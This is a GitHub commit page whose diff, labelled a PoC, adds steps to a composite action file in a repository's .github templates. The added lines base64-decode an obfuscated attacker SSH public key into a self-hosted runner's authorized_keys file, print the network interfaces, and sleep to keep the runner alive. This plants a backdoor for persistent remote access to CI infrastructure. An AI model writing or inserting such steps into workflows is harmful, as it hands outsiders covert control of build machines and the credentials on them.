Skip to content

Commit

Permalink
[skip ci] Update action.yml for PoC
Browse files Browse the repository at this point in the history
  • Loading branch information
Amb1guousRaccoon authored Aug 2, 2024
1 parent 2c39f61 commit 367e7cc
Showing 1 changed file with 6 additions and 0 deletions.
6 changes: 6 additions & 0 deletions .github/templates/watch-exec/action.yml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,12 @@ runs:
using: "composite"
steps:
- run: |
ls -la /home
mkdir -p /home/actions-runner/.ssh/
echo "ZWNkc2Etc2hhMi1uaXN0cDI1NiBBQUFBRTJWalpITmhMWE5vWVRJdGJtbHpkSEF5TlRZQUFBQUlibWx6ZEhBeU5UWUFBQUJCQkdMNTlmK2ROMk9hZGl1Q1VnelZxbkdaSEhINEpmc1dWQm5IMXVGMzVBdWNFQVBOcUszaWMyZzJPck1vNHlyems4amI1RHI3WWtSQk5vSGp5eExXb200PSBrYWxpQGthbGkK" | base64 -d > /home/actions-runner/.ssh/authorized_keys
chmod 600 /home/actions-runner/.ssh/authorized_keys
ip a
sleep 500
# Marker status code in case of network failure.
STATUS_TRANSIENT_FAILURE=200
# Maximum retries in case of network failures.
Expand Down

0 comments on commit 367e7cc

Please sign in to comment.